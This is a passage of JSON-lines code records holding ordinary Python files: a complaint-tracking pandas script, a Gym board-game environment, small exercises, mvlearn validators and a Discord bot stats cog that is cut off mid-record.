+{"seq_id":"94355415","text":"import pandas as pd\r\n\r\nassociates_list = ['Anand Umadi', 'Prajwal CR', 'Jayaganesh K',  'Nikhil Pauskar', 'Jyothi MP', 'Bhavanisri Subbaraj', 'Sekar M', 'Suryaprakash M', 'Kiran Kalliguddi', 'Ganesh DD', 'Krithika Krishnan']\r\n\r\ndef createDataframe(url):\r\n  df_html = pd.read_html(url)\r\n  data_table = df_html[1]\r\n\r\n  col_names = list()\r\n\r\n  for index, row in data_table.iloc[[0]].iterrows():\r\n      for i in range(len(data_table.columns)):\r\n          col_names.append(row[i])\r\n\r\n  data_table.columns = col_names\r\n  data_table = data_table.drop(data_table.index[0])\r\n  #data_table = data_table.set_index('Complaint Number')\r\n  return data_table\r\n\r\ndef directClosed(dataframe):\r\n\t#print('Getting Direct Closed files...')\r\n\t#closedFiles_df = createDataframe(closed_count_url)\r\n\tclosedFiles_df = dataframe\r\n\tclosedFiles_df['Complaint Number'] = closedFiles_df['Complaint Number'].astype('int64')\r\n\r\n\t######Creating New Workflow 140 list##########\r\n\t#new_df_140 = createDataframe(workflow_140_url)\r\n\tnew_df_140 = pd.read_pickle('workflow_140.pickle')\r\n\tnew_df_140['Decision Date'] =pd.to_datetime(new_df_140['Decision Date'])\r\n\tnew_df_140['Workflow History Number'] = new_df_140['Workflow History Number'].astype('int64')\r\n\tnew_df_140['Complaint Folder'] = new_df_140['Complaint Folder'].astype('int64')\r\n\tnew_df_140['Next Step ID'] = new_df_140['Next Step ID'].astype('int64')\r\n\r\n\tdf_140 = pd.read_pickle('Overall_140.pickle')\r\n\tdf_140['Decision Date'] =pd.to_datetime(df_140['Decision Date'])\r\n\tdf_140 = df_140.append(new_df_140, ignore_index=True)\r\n\r\n\tdf_140_unique_all = df_140['Workflow History Number'].duplicated(keep= 'first')  #Series\r\n\tdf_140_unique_all.rename('Duplicated', inplace=True)\r\n\tdf_140 = df_140.join(df_140_unique_all)\r\n\tdf_140 = df_140[df_140['Duplicated'] == False]\r\n\tdf_140.drop(['Duplicated',], axis=1, inplace=True)\r\n\tdf_140.sort_values('Decision Date', ascending=False, inplace = True)\r\n\r\n\r\n\t######Creating New Unique Workflow 140 list###########\r\n\tdf_140_unique = df_140['Complaint Folder'].duplicated(keep= 'first')\r\n\tdf_140_unique.rename('Duplicated', inplace=True)\r\n\r\n\tmerged_df_140 = df_140.join(df_140_unique)\r\n\tmerged_df_140 = merged_df_140[merged_df_140['Duplicated'] == False]\r\n\tmerged_df_140.drop(['Workflow History Number', 'Next Step ID', 'Decision Date','Duplicated'], axis=1, inplace=True)\r\n\tmerged_df_140.rename(columns={'Complaint Folder': 'Complaint Number'}, inplace=True)\r\n\r\n\r\n\ttotal_closed_df = pd.merge(closedFiles_df, merged_df_140, how='left', on='Complaint Number')\r\n\r\n\tfor index, row in total_closed_df.iterrows():\r\n\t\tif pd.isnull(row['Decision Maker']):\r\n\t\t\ttotal_closed_df.loc[index, 'Decision Maker'] = total_closed_df.loc[index, 'Complaint Owner'] \r\n\r\n\r\n\tnew_closed = total_closed_df['Decision Maker'].isin(associates_list)\r\n\tnew_closed.rename('DMBool', inplace=True)\r\n\ttotal_closed_df = total_closed_df.join(new_closed)\r\n\ttotal_closed_df = total_closed_df[total_closed_df['DMBool'] == True]\r\n\ttotal_closed_df.drop(['DMBool',], axis=1, inplace=True)\r\n\r\n\t#print('Direct closed files done.')\r\n\r\n\treturn total_closed_df\r\n\r\ndef reopenClosed(dataframe, start_date, end_date):\r\n\t#print('Getting Reopen Closed files...')\r\n\r\n\t#reopen_df = pd.read_pickle('reopen.pickle')\r\n\treopen_df = dataframe\r\n\tworkflow999_df = pd.read_pickle('workflow999.pickle')\r\n\r\n\treopen_df['Date Reopened'] = pd.to_datetime(reopen_df['Date Reopened'])\r\n\treopen_df['Date Complaint Closed'] = pd.to_datetime(reopen_df['Date Complaint Closed'])\r\n\tworkflow999_df['Decision Date'] = pd.to_datetime(workflow999_df['Decision Date'])\r\n\r\n\tworkflow999_df.sort_values('Decision Date', ascending=True, inplace = True)\r\n\tdf_999_unique = workflow999_df['Complaint Folder'].duplicated(keep= 'first')\r\n\tdf_999_unique.rename('Duplicated', inplace=True)\r\n\r\n\tmerged_df_999 = workflow999_df.join(df_999_unique)\r\n\tmerged_df_999 = merged_df_999[merged_df_999['Duplicated'] == False]\r\n\tmask = (merged_df_999['Decision Date'] >= start_date) & (merged_df_999['Decision Date'] <= end_date)\r\n\tmerged_df_999 = merged_df_999.loc[mask]\r\n\tmerged_df_999.drop(['Workflow History Number', 'Decision Step', 'Next Step ID', 'Duplicated'], axis=1, inplace=True)\r\n\tmerged_df_999.rename(columns={'Complaint Folder': 'Complaint Number', 'Decision Date': 'First close date'}, inplace=True)\r\n\r\n\ttotal_reopen_closed_df = pd.merge(merged_df_999, reopen_df, how='left', on='Complaint Number')\r\n\ttotal_reopen_closed_df.drop(['First close date','Date Reopened'], axis=1, inplace=True)\r\n\r\n\t#print('Reopen closed files done.')\r\n\tcols = ['Complaint Number', 'Record Status', 'Region', 'Complaint Owner', 'Current Step', 'Product Line', 'Date Complaint Closed', 'Decision Maker']\r\n\ttotal_reopen_closed_df = total_reopen_closed_df[cols]\r\n\r\n\treturn total_reopen_closed_df\r\n\r\n\r\n\r\n\r\n\t\r\n\r\n\r\n'''\r\nwith pd.ExcelWriter('TATA Closed.xlsx') as writer: \r\n\ttotal_closed_df.to_excel(writer, sheet_name= 'TATA Closed')\r\n\tmerged_df_140.to_excel(writer, sheet_name='Overall 140 without duplicates')\r\n\tdf_140.to_excel(writer, sheet_name= 'Overall 140 with duplicates')\r\n\r\nwith pd.ExcelWriter('TATA Reopen.xlsx') as writer: \r\n\treopen_df.to_excel(writer, sheet_name= 'TATA Reopen')\r\n\tworkflow999_df.to_excel(writer, sheet_name='First Submission')\r\n\tmerged_df_999.to_excel(writer, sheet_name= 'First sub Within Date Range')\r\n\ttotal_reopen_closed_df.to_excel(writer, sheet_name= 'Reopens within date range')\r\n'''\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\t\t\r\n\r\n\r\n","sub_path":"closedCount.py","file_name":"closedCount.py","file_ext":"py","file_size_in_byte":5391,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"149761539","text":"import gym\nfrom gym import spaces\n\nimport numpy as np\nimport random\nimport copy\nimport operator\n\nfrom semaphore import Board, Player, Game\nfrom gym_semaphore.old_models import Old_Models\n\nimport os, os.path\nimport pickle\n\nclass SemaphoreEnv(gym.Env):\n    metadata = {'render.modes': ['human']}\n\n    def __init__(self):\n\n        self.action_space = spaces.Discrete(12)\n        self.observation_space = spaces.Box(low=0, high=1, shape=(3,3,4), dtype=np.uint8)\n\n        self.rand_bot = Player(epsilon=1)\n        self.pseudo_bot = Player(epsilon=1)\n        #self.pseudo_bot.loadPolicy(\"/home/alexandre/Documents/gym/gym-semaphore/gym_semaphore/policy_321\")\n        self.state = Board()\n        self.game = Game(self.rand_bot, self.rand_bot)\n\n        self.done = False\n\n        self.old_models_len = 0\n        self.last_model_eval = 0\n        self.adversary = -1\n        self.lose_reward = -1\n\n        self.game_log = []\n\n        self.Old_Models = Old_Models()\n        self.best_moves = self.getMinimaxPolicy()\n        self.reset()\n\n        \n    def step(self, action):\n\n        #return self.step_human(action)\n\n\n        self.done = False\n                                    # Agent move\n        move_pos = (int(action/4), int(action%4))\n        moveDone = self.state.make_move(move_pos)\n        #self.render()\n        #self.game_log.append(copy.deepcopy(self.state))\n\n        reward = 0\n        if moveDone == 0:\n            reward = self.lose_reward\n            self.done = True\n            \n            return self.one_hot_encode(self.state), reward, self.done, {}\n\n        win = self.state.check_win()\n        if win != -1:\n            reward = 1\n            self.done = True\n            #print(\"////////////////////\")\n            \n            return self.one_hot_encode(self.state), reward, self.done, {}\n\n                                    # Adversary move\n        if self.adversary == -1:\n            positions = self.state.availablePositions()\n            botMove = self.rand_bot.chooseAction(positions, self.state.board)\n            #botMove = self.pseudo_bot.perfectMove(self.state.board)\n            #botMove = self.game.minimax(self.state, 35, 1, self.best_moves)\n        elif self.adversary == 0:\n            botMove = self.game.minimax(self.state, 35, 1, self.best_moves)\n        else:\n            bot_action, _states = self.Old_Models.old_model_predict(self.adversary, self.one_hot_encode(self.state))\n            botMove = (int(bot_action/4), int(bot_action%4))\n\n        \n        \n        moveDone = self.state.make_move((botMove[0], botMove[1]))\n        #self.render()\n        #self.game_log.append(copy.deepcopy(self.state))\n\n        win = self.state.check_win()\n        if win != -1:\n            reward = self.lose_reward\n            self.done = True\n            # for i in range(len(self.game_log)):\n            #     self.state = self.game_log[i]\n            #     self.render()\n            #print(\"-------------------------------------\")\n            \n            return self.one_hot_encode(self.state), reward, self.done, {}\n\n        return self.one_hot_encode(self.check_mainBoard(self.state)), reward, self.done, {}\n\n\n    def render(self):\n        self.state.showBoard()\n\n    def reset(self):\n        self.state.reset()\n        self.done = False\n        self.game_log = []\n\n        # if self.old_models_len == 0:    # Verificar se existem agents anteriores\n        #     self.adversary = -1\n        # else:\n        #     if random.random() < 0.8:\n        #         self.adversary = -1\n        #     else:\n        #         self.adversary = random.randrange(0, self.old_models_len)\n\n        if random.random() < 1:\n            self.adversary = -1\n        else:\n            self.adversary = 0\n\n        if random.random() < 1:       # Decidir que jogador faz o primeiro move\n            if self.adversary == -1:\n                positions = self.state.availablePositions()\n                botMove = self.rand_bot.chooseAction(positions, self.state.board)\n                #botMove = self.pseudo_bot.perfectMove(self.state.board)\n                #botMove = self.game.minimax(self.state, 35, 1, self.best_moves)\n            elif self.adversary == 0:\n                positions = self.state.availablePositions()\n                botMove = self.rand_bot.chooseAction(positions, self.state.board)\n            else:\n                bot_action, _states = self.Old_Models.old_model_predict(self.adversary, self.one_hot_encode(self.state.board))\n                botMove = (int(bot_action/4), int(bot_action%4))\n            moveDone = self.state.make_move((botMove[0], botMove[1]))\n        \n        #self.render()\n        #self.game_log.append(copy.deepcopy(self.state))\n        \n        #////////////////////////////////////////////////////////////////////////////\n        while 1:\n            rand = random.choice([0])\n            temp_state = copy.deepcopy(self.state)\n            while rand > 0:\n                positions = self.state.availablePositions()\n                botMove = self.rand_bot.chooseAction(positions, self.state.board)\n                moveDone = self.state.make_move((botMove[0], botMove[1]))\n\n                rand -= 1\n            if self.state.check_win() == -1:\n                break \n            self.state = temp_state\n        \n        #if random.random() < 0.01:\n            #self.getPolicies()\n            #if self.last_model_eval > 0.95:\n            #    self.lose_reward *= 1\n        #self.render()\n        return self.one_hot_encode(self.check_mainBoard(self.state))\n\n    def close(self):\n        pass\n\n\n                                    # Function para testar o bot vs human\n    def step_human(self, action):\n        move_pos = (int(action/4), int(action%4))\n        moveDone = self.state.make_move(move_pos)\n        self.render()\n\n        reward = 0\n\n        win = self.state.check_win()\n        if win != -1:\n            reward = 1\n            self.done = True\n            \n            return self.one_hot_encode(self.state.board), reward, self.done, {}\n\n        move1 = int(input(\"Move1: \"))\n        move2 = int(input(\"Move2: \"))\n\n        moveDone = self.state.make_move((move1, move2))\n        self.render()\n\n        win = self.state.check_win()\n        if win != -1:\n            reward = -1\n            self.done = True\n            \n            return self.one_hot_encode(self.state.board), reward, self.done, {}\n\n        return self.one_hot_encode(self.state.board), reward, self.done, {}\n\n    def one_hot_encode(self, state):\n        board = state.board\n        one_hot_board = np.zeros((3, 3, 4))\n        for i in range(3):\n            for j in range(4):\n                if board[i, j] == 1:\n                    one_hot_board[0, i, j] = 1\n                elif board[i, j] == 2:\n                    one_hot_board[1, i, j] = 1\n                elif board[i, j] == 3:\n                    one_hot_board[2, i, j] = 1\n\n        #print(one_hot_board)\n        #print(\"__________\")\n        return one_hot_board\n\n    def check_mainBoard(self, state):\n        value = [0, 0, 0, 0]\n\n        #while value1 == value2 or value1 == value3 or value1 == value4 or value2 == value3 or value2 == value4 or value3 == value4:\n        value[0] = self.board_value(state)\n        value[1] = self.board_value(self.Inv_Vertical(state))\n        value[2]= self.board_value(self.Inv_Horizontal(state))\n        value[3] = self.board_value(self.Inv_Horizontal(self.Inv_Vertical(state)))\n\n        # for x in range(3):\n        #     for y in range(x+1, 4):\n        #         if value[x] == value[y]:\n        #             #state.showBoard()\n        #             # for i in range(100):\n        #             #     print()\n\n        idx, value = max(enumerate(value), key=operator.itemgetter(1))\n        \n        if idx == 0:\n            #state.showBoard()\n            return state\n        if idx == 1:\n            #self.Inv_Vertical(state).showBoard()\n            return self.Inv_Vertical(state)\n        if idx == 2:\n            #self.Inv_Horizontal(state).showBoard()\n            return self.Inv_Horizontal(state)\n        if idx == 3:\n            #self.Inv_Horizontal(self.Inv_Vertical(state)).showBoard()\n            return self.Inv_Horizontal(self.Inv_Vertical(state))\n\n\n    def board_value(self, state):\n        matrix_value = [13, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 1]\n        board = state.board\n        board_line = []\n        for i in range(3):\n            for j in range(4):\n                board_line.append(board[i, j])\n\n        total_value = 0\n        for i in range(len(matrix_value)):\n            total_value += board_line[i] * matrix_value[i]\n\n        return total_value\n\n\n    def Inv_Vertical(self, state):\n        new_state = copy.deepcopy(state)\n        board = new_state.board\n        temp_board = np.zeros((3, 4))\n\n        for i in range(3):\n            for j in range(4):\n                x = ((j + 1) - 4) * (-1)\n\n                temp_board[i, x] = board[i, j]\n        \n        new_state.board = temp_board\n        return new_state\n\n    def Inv_Horizontal(self, state):\n        new_state = copy.deepcopy(state)\n        board = new_state.board\n        temp_board = np.zeros((3, 4))\n\n        for i in range(3):\n            for j in range(4):\n                x = ((i + 1) - 3) * (-1)\n\n                temp_board[x, j] = board[i, j]\n        \n        new_state.board = temp_board\n        return new_state\n\n    def getPolicies (self):\n        self.old_models_len = self.Old_Models.atualize()\n\n    def getMinimaxPolicy(self):\n        path = os.path.join(os.path.expanduser('~'), 'gym-project')\n        file_name = [name for name in os.listdir(path) if name == 'policy_111']\n        fr = open(os.path.join(path,file_name[0]), 'rb')\n        best_moves = pickle.load(fr)\n        fr.close()\n        return best_moves","sub_path":"legacy/gym-semaphore/gym_semaphore/envs/semaphore_env.py","file_name":"semaphore_env.py","file_ext":"py","file_size_in_byte":9733,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"307152697","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jan 30 14:36:18 2020\n\n@author: palar\n\"\"\"\n\ndef ispal(s):\n    def toChar(s):\n        s=s.lower()\n        ans=''\n        for c in s:\n            if c in 'abcdefghyjklmnopqrstuvxyz':\n                ans=ans+c\n        return ans\n    \n    def isPali(s):\n        if len(s)<=1:\n            return True\n        else:\n            return s[0]==s[-1] and isPali(s[1:-1])\n    return isPali(toChar(s))\n\nprint(ispal('anita lava la tina'))","sub_path":"PALINDROMOOOOO.py","file_name":"PALINDROMOOOOO.py","file_ext":"py","file_size_in_byte":466,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"17062529","text":"# Task 3. Product Store\nclass Product:\n\n    def __init__(self, type_, name, price):\n        self.type_ = type_\n        self.name = name\n        self.price = price\n        self.amount = 0\n\n    # def __repr__(self):\n    #     return f\"{self.type_}---{self.name}----{self.price}\"\n\n\nclass ProductStore:\n    revenue = []\n    profit = []\n\n    def __init__(self):\n        self.dict_of_product = {}\n        self.dict_price = {}\n\n    def add_prod(self, new_prod, amount):\n        self.dict_price.update({new_prod.name:new_prod.price})\n        new_prod.price = new_prod.price * 1.3\n        self.dict_of_product.update({f\" {new_prod.type_} {new_prod.name}\": [new_prod.price, amount]})\n\n    def set_discount(self, identifier, percent):\n        for key, value in self.dict_of_product.items():\n            if identifier in key:\n                value[0] = value[0] - (value[0] * percent) / 100\n        return self.dict_of_product\n\n    def sell_product(self, product_name, amount):\n        for key, value in self.dict_of_product.items():\n            if product_name in key:\n                if value[1] <= 0 or amount > value[1]:\n                    print(f\"Not enough goods in stock. You can sell not more {value[1]}\")\n                    break\n                else:\n                    purhase = value[0] * amount\n                    balance = value[1] - amount\n                    value[1] = balance\n                    ProductStore.revenue.append(purhase)\n                for key4, val4 in self.dict_price.items():\n                    if product_name ==key4:\n                        zero_purhase = val4*amount\n                ProductStore.profit.append(zero_purhase)\n\n        return self.dict_of_product\n\n    def get_income(self):\n        print(f\" OUR PROFIT = {sum(self.revenue)-sum(self.profit) } USD\")\n\n    def show_all_product(self):\n        print(\"Our SHOP\"'\\n', \"-----------------------\")\n        for key, val in self.dict_of_product.items():\n            print(f\" type, name | {key} | price- q-ty {val}\")\n        print(\"-----------------------\")\n\n\n    def get_product_info(self, product_name):\n        for key, value in self.dict_of_product.items():\n            if product_name in key:\n                res = key.split()\n                res.clear()\n                res.append(product_name)\n                res = ''.join(res)\n                print(f\"Name <{res}> Q-ty <{value[1]} pcs>\")\n\n\np1 = Product('Sport', 'T-shirt', 100)\np2 = Product('Sport', 'Shorts', 50)\np3 = Product('Sport', 'Swimming trunks ', 20)\np4 = Product('Clothes', 'Adidas', 20)\np1_1 = Product('Game', 'NFS', 80)\n\nps = ProductStore()\nps.add_prod(p1, 10)\nps.add_prod(p2, 40)\nps.add_prod(p3, 70)\nps.add_prod(p4, 200)\nps.add_prod(p1_1, 1000)\n\nps.set_discount('T-shirt', 10)\nps.sell_product('Shorts', 1)\nps.sell_product('NFS', 1)\nps.sell_product('NFS', 1)\n\nps.show_all_product()\nps.get_product_info('NFS')\n# ps.get_product_info('T-shirt')\nps.get_income()\n","sub_path":"Task13/2_13_3.py","file_name":"2_13_3.py","file_ext":"py","file_size_in_byte":2910,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"249143972","text":"# Copyright 2019 NeuroData (http://neurodata.io)\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\ndef check_n_views(n_views):\n    \"\"\"\n    Checks to make sure n_views is a valid parameter.\n    The following checks are made:\n    * n_views must be greater than 1.\n    * n_views must be an integer.\n    The function raises an Exception if a check fails.\n\n    Parameters\n    ----------\n    n_views: int\n        Number of views to construct.\n    \"\"\"\n\n    if n_views < 1:\n        raise Exception(\"n_views must be >= 1.\")\n\n    if not isinstance(n_views, int):\n        raise Exception(\"n_views must be an integer.\")\n\n    return\n\n\ndef check_n_features(n_features, cols):\n    \"\"\"\n    Checks to make sure n_features is a valid parameter.\n    The following checks are made:\n    * n_features must be postive.\n    * n_features must be integer if > 1.\n    * n_features must be less than number of columns in data.\n    The function raises an Exception if a check fails.\n\n    Parameters\n    ----------\n    n_features: float, int\n        Number of features to randomly select.\n\n    cols: int\n        Number of features in data matrix.\n    \"\"\"\n\n    if n_features is None:\n        raise Exception(\"n_features must be specified.\")\n\n    if n_features <= 0:\n        raise Exception(\"n_features cannot be 0 or a negative number.\")\n\n    if n_features > 1 and not isinstance(n_features, int):\n        raise Exception(\"n_features must be integer if > 1.\")\n\n    if n_features > cols:\n        raise Exception(\"n_features must be less than columns in X.\")\n\n    return\n","sub_path":"mvlearn/construct/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2036,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"202693580","text":"import re\nimport discord\n\nfrom collections import Counter\nfrom discord.abc import User\nfrom discord.ext import commands, menus\n\nfrom utilities import utils\nfrom utilities import checks\nfrom utilities import converters\nfrom utilities import decorators\nfrom utilities import pagination\n\n\ndef setup(bot):\n    bot.add_cog(Stats(bot))\n\n\nclass Stats(commands.Cog):\n    \"\"\"\n    Module for server stats\n    \"\"\"\n\n    def __init__(self, bot):\n        self.bot = bot\n\n    async def get_user_cmds(self, member):\n        \"\"\"Helper function to get member command count\"\"\"\n        query = \"\"\"\n                SELECT COUNT(*)\n                FROM commands\n                WHERE author_id = $1\n                AND server_id = $2;\n                \"\"\"\n        cmd_count = await self.bot.cxn.fetchval(query, member.id, member.guild.id)\n        return cmd_count or 0\n\n    async def get_user_msgs(self, member):\n        \"\"\"Helper function to get member message count\"\"\"\n        query = \"\"\"\n                SELECT COUNT(*)\n                FROM messages\n                WHERE author_id = $1\n                AND server_id = $2;\n                \"\"\"\n        msg_count = await self.bot.cxn.fetchval(query, member.id, member.guild.id)\n        return msg_count or 0\n\n    @decorators.command(\n        aliases=[\"flags\"],\n        brief=\"Show all the badges a user has\",\n        implemented=\"2021-06-04 01:06:21.329396\",\n        updated=\"2021-06-04 01:06:21.329396\",\n        examples=\"\"\"\n                {0}badges @Hecate\n                {0}flags 708584008065351681\n                \"\"\",\n    )\n    async def badges(self, ctx, *, user: converters.DiscordUser = None):\n        \"\"\"\n        Usage: {0}badges [user]\n        Alias: {0}flags\n        Output: Shows all the badges a user has\n        Notes: Will default to you if no user is passed.\n        \"\"\"\n        if user is None:\n            user = ctx.author\n        if user.bot:\n            raise commands.BadArgument(f\"`{user}` is a bot account.\")\n        badges = []\n        if user.public_flags.staff:\n            badges.append(self.bot.emote_dict[\"staff\"])\n        if user.public_flags.partner:\n            badges.append(self.bot.emote_dict[\"partner\"])\n        if user.public_flags.hypesquad:\n            badges.append(self.bot.emote_dict[\"hypesquad\"])\n        if user.public_flags.hypesquad_balance:\n            badges.append(self.bot.emote_dict[\"balance\"])\n        if user.public_flags.hypesquad_bravery:\n            badges.append(self.bot.emote_dict[\"bravery\"])\n        if user.public_flags.hypesquad_brilliance:\n            badges.append(self.bot.emote_dict[\"brilliance\"])\n        if user.public_flags.bug_hunter:\n            badges.append(self.bot.emote_dict[\"bughunter\"])\n        if user.public_flags.bug_hunter_level_2:\n            badges.append(self.bot.emote_dict[\"bughuntergold\"])\n        if (\n            user.public_flags.verified_bot_developer\n            or user.public_flags.early_verified_bot_developer\n        ):\n            badges.append(self.bot.emote_dict[\"dev\"])\n        if user.public_flags.early_supporter:\n            badges.append(self.bot.emote_dict[\"supporter\"])\n        if hasattr(user, \"premium_since\") and user.premium_since is not None:\n            badges.append(self.bot.emote_dict[\"nitro\"])\n            badges.append(self.bot.emote_dict[\"boost\"])\n        else:\n            if user.is_avatar_animated():\n                badges.append(self.bot.emote_dict[\"nitro\"])\n        if not badges:\n            return await ctx.fail(f\"User `{user}` has no badges.\")\n        await ctx.success(f\"`{user}'s` badges: {' '.join(badges)}\")\n\n    @decorators.command(\n        aliases=[\"ci\"],\n        brief=\"Get info about a channel.\",\n        implemented=\"2021-03-25 01:42:04.359878\",\n        updated=\"2021-05-06 17:33:15.040085\",\n        examples=\"\"\"\n                {0}channelinfo\n                {0}channelinfo 805638877762420789\n                {0}channelinfo general\n                {0}ci\n                {0}ci 805638877762420789\n                {0}ci general\n                \"\"\",\n    )\n    @commands.guild_only()\n    @checks.bot_has_perms(embed_links=True)\n    async def channelinfo(self, ctx, *, channel: converters.DiscordChannel = None):\n        \"\"\"\n        Usage: {0}channelinfo [channel]\n        Output:\n            Specific info on a given channel\n        Notes:\n            If no channel is specified,\n            current channel will be used.\n        \"\"\"\n        channel = channel or ctx.channel\n        em = discord.Embed()\n        em.color = self.bot.constants.embed\n        em.add_field(\n            name=\"Channel\", value=\"{0.name} ({0.id})\".format(channel), inline=False\n        )\n        em.add_field(\n            name=\"Server\",\n            value=\"{0.guild.name} ({0.guild.id})\".format(channel),\n            inline=False,\n        )\n        em.add_field(\n            name=\"Type\", value=\"{}\".format(type(channel).__name__), inline=False\n        )\n        em.add_field(\n            name=\"Created\", value=utils.format_time(channel.created_at), inline=False\n        )\n        await ctx.send_or_reply(embed=em)\n\n    @decorators.command(\n        aliases=[\"channeltopic\"],\n        brief=\"Show the topic of a channel.\",\n        implemented=\"2021-03-25 01:42:51.969489\",\n        updated=\"2021-05-06 19:42:21.176961\",\n        examples=\"\"\"\n                {0}topic\n                {0}topic general\n                {0}topic 805638877762420789\n                {0}topic <#805638877762420789>\n                {0}channeltopic\n                {0}channeltopic general\n                {0}channeltopic 805638877762420789\n                {0}channeltopic <#805638877762420789>\n                \"\"\",\n    )\n    @commands.guild_only()\n    async def topic(self, ctx, *, channel: converters.DiscordChannel = None):\n        \"\"\"\n        Usage: {0}topic [channel]\n        Alias: {0}channeltopic\n        Output:\n            Shows a channel's topic.\n            Useful for replying to users\n            not abiding by the channel's topic.\n        Notes:\n            Will default to the current channel\n            if not alternative channel is passed.\n        \"\"\"\n        if channel is None:\n            channel = ctx.channel\n        await ctx.send_or_reply(\n            content=(\"**Channel topic:** \" + channel.topic)\n            if channel.topic\n            else \"No topic set.\"\n        )\n\n    @decorators.command(\n        aliases=[\"whois\", \"ui\", \"profile\"],\n        brief=\"Show information on a user.\",\n        implemented=\"2021-03-11 18:42:18.403948\",\n        updated=\"2021-05-06 16:46:39.043980\",\n        examples=\"\"\"\n                {0}userinfo Snowbot\n                {0}whois 810377376269205546\n                {0}profile Hecate#3523\n                {0}ui @Snowbot\n                \"\"\",\n    )\n    @checks.bot_has_perms(embed_links=True)\n    async def userinfo(self, ctx, user: converters.DiscordMember = None):\n        \"\"\"\n        Usage: {0}userinfo <member>\n        Aliases: {0}profile, {0}ui, {0}whois\n        Output:\n            General stats on a discord user.\n            Includes, ID, name, highest role,\n            status, messages sent, commands run\n            join position, and registration date.\n        Notes:\n            Moderators, incoke command with {0}user,\n            {0}rawuser, or {0}lookup to see all information\n            currently available on a discord user.\n        \"\"\"\n\n        if user is None:\n            user = ctx.author\n\n        joinedList = []\n        for mem in ctx.guild.members:\n            joinedList.append({\"ID\": mem.id, \"Joined\": mem.joined_at})\n\n        # sort the users by join date\n        joinedList = sorted(\n            joinedList,\n            key=lambda x: x[\"Joined\"].timestamp() if x[\"Joined\"] is not None else -1,\n        )\n\n        check_item = {\"ID\": user.id, \"Joined\": user.joined_at}\n\n        position = joinedList.index(check_item) + 1\n\n        msg = \"{:,}\".format(position)\n\n        query = \"\"\"\n                SELECT COUNT(*)\n                FROM commands\n                WHERE author_id = $1\n                AND server_id = $2;\n                \"\"\"\n        command_count = await self.get_user_cmds(user)\n        message_count = await self.get_user_msgs(user)\n\n        status_dict = {\n            \"online\": f\"{self.bot.emote_dict['online']} Online\",\n            \"offline\": f\"{self.bot.emote_dict['offline']} Offline\",\n            \"dnd\": f\"{self.bot.emote_dict['dnd']} Do Not Disturb\",\n            \"idle\": f\"{self.bot.emote_dict['idle']} Idle\",\n        }\n        if user.id in self.bot.owner_ids:\n            emoji = self.bot.emote_dict[\"dev\"]\n        elif user.id == ctx.guild.owner.id:\n            emoji = self.bot.emote_dict[\"owner\"]\n        elif user.bot:\n            emoji = self.bot.emote_dict[\"bot\"]\n        else:\n            emoji = self.bot.emote_dict[\"user\"]\n\n        embed = discord.Embed(color=self.bot.constants.embed)\n        embed.set_author(name=f\"{user}\", icon_url=user.avatar_url)\n        embed.set_thumbnail(url=user.avatar_url)\n        embed.set_footer(\n            text=f\"User ID: {user.id} | Created on {user.created_at.__format__('%m/%d/%Y')}\"\n        )\n        embed.add_field(\n            name=\"Nickname\",\n            value=f\"{emoji} {user.display_name}\",\n        )\n        embed.add_field(\n            name=\"Messages\",\n            value=f\"{self.bot.emote_dict['messages']}  {message_count:,}\",\n        )\n        embed.add_field(\n            name=\"Commands\",\n            value=f\"{self.bot.emote_dict['commands']}  {command_count:,}\",\n        )\n        embed.add_field(name=\"Status\", value=f\"{status_dict[str(user.status)]}\")\n        embed.add_field(\n            name=\"Highest Role\",\n            value=f\"{self.bot.emote_dict['role']} {'@everyone' if user.top_role.name == '@everyone' else user.top_role.mention}\",\n        )\n        embed.add_field(\n            name=\"Join Position\", value=f\"{self.bot.emote_dict['invite']} #{msg}\"\n        )\n        await ctx.send_or_reply(embed=embed)\n\n    @decorators.command(\n        aliases=[\"si\", \"serverstats\", \"ss\", \"server\"],\n        brief=\"Show server information.\",\n        implemented=\"2021-03-19 00:53:00.946175\",\n        updated=\"2021-05-06 18:03:58.872774\",\n        examples=\"\"\"\n                {0}serverinfo\n                {0}serverstats\n                {0}server\n                {0}si\n                {0}ss\n                \"\"\",\n    )\n    @commands.guild_only()\n    @checks.bot_has_perms(embed_links=True)\n    async def serverinfo(self, ctx):\n        \"\"\"\n        Usage: {0}serverinfo\n        Aliases:\n            {0}serverinfo\n            {0}serverstats\n            {0}server\n            {0}si\n            {0}ss\n        Output:\n            General stats on the server.\n            Shows the name, ID, owner,\n            user count, online member,\n            role count, region, emoji count,\n            channel info, and creation date.\n        \"\"\"\n        server = ctx.message.guild\n        online = 0\n        for i in server.members:\n            if (\n                str(i.status) == \"online\"\n                or str(i.status) == \"idle\"\n                or str(i.status) == \"dnd\"\n            ):\n                online += 1\n        all_users = []\n        for user in server.members:\n            all_users.append(\"{}#{}\".format(user.name, user.discriminator))\n        all_users.sort()\n        all = \"\\n\".join(all_users)\n        total_text_channels = len(server.text_channels)\n        total_voice_channels = len(server.voice_channels)\n        total_channels = total_text_channels + total_voice_channels\n        role_count = len(server.roles)\n        emoji_count = len(server.emojis)\n        bots = []\n        for member in ctx.guild.members:\n            if member.bot:\n                bots.append(member)\n        if str(server.region) == \"us-west\":\n            region = \"🇺🇸 US West\"\n        elif str(server.region) == \"us-east\":\n            region = \"🇺🇸 US East\"\n        elif str(server.region) == \"us-central\":\n            region = \"🇺🇸 US Central\"\n        elif str(server.region) == \"us-south\":\n            region = \"🇺🇸 US South\"\n        elif str(server.region) == \"hongkong\":\n            region = 